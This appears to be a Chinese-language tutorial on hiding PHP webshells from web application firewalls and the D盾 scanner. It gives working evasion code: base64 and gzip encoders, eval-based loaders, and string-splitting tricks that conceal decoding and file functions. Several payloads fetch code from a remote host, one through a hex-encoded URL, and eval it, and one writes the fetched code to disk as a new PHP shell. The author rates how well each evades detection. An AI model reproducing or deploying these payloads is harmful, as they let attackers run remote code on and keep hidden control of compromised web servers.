php大马免杀技巧 | bypass waf
Part 1 前言
Part 2 免杀
执行代码
eval 或 preg_replace的/e修饰符来执行大马代码。
$a = 'phpinfo();'; eval($a); //eval执行php代码
编码
如果直接去执行代码,是过不了waf的,我们一般需要将大马源码进行编码。
eval_gzinflate_base64类型加密与解密:
http://www.zhuisu.net/tool/phpencode.php
https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php
自己写脚本加密:
$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径 $encode = base64_encode(gzdeflate($code)); //加密函数自己修改就行 echo $encode; //输出加密后代码
解码
通过解码执行我们的代码。
<?php //加密的代码 eval(gzinflate(base64_decode('S03OyFdQ8shUKLbMTVOyBgA='))); ?>
关键字免杀
// 类型这样的关键字如果没有混淆拆分是过不了waf的 eval(gzinflate(base64_decode // 我们需要做的就是关键字免杀
免杀 payload
<?php $l='baSe6'; $o='4_dE'; $v='cO'; $e='DE'; $love=$l.$o.$v.$e; $c = "love"; $a=$$c('源码base64加密'); eval($a); ?> <?php $a = strrev('EdOcEd_46eSaB'); $b= $a('源码base64加密'); eval($b); ?>
D盾
查杀
免杀远程执行 payload
<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?> <?php $s9 = "687474703A2F2F7033733232373538752E626B742E636C6F7564646E2E636F6D2F73396D662E747874"; $m="s9"; //远程URL进行hex编码 $f = file_get_contents(PACK('H*',$$m)); eval($f);
?>
免杀
远程下载 payload
<?php $a = 'http://www.xx.com/s9mf.txt'; $b = 'file'.'_g'.'et_'.'contents'; $b = $b($a); $c = strrev('stnetnoc_tup_elif'); $c('s9mf.php', $b); ?>
免杀,D盾报了1级,可以完全免杀的,但是觉得没必要。
Part 3 总结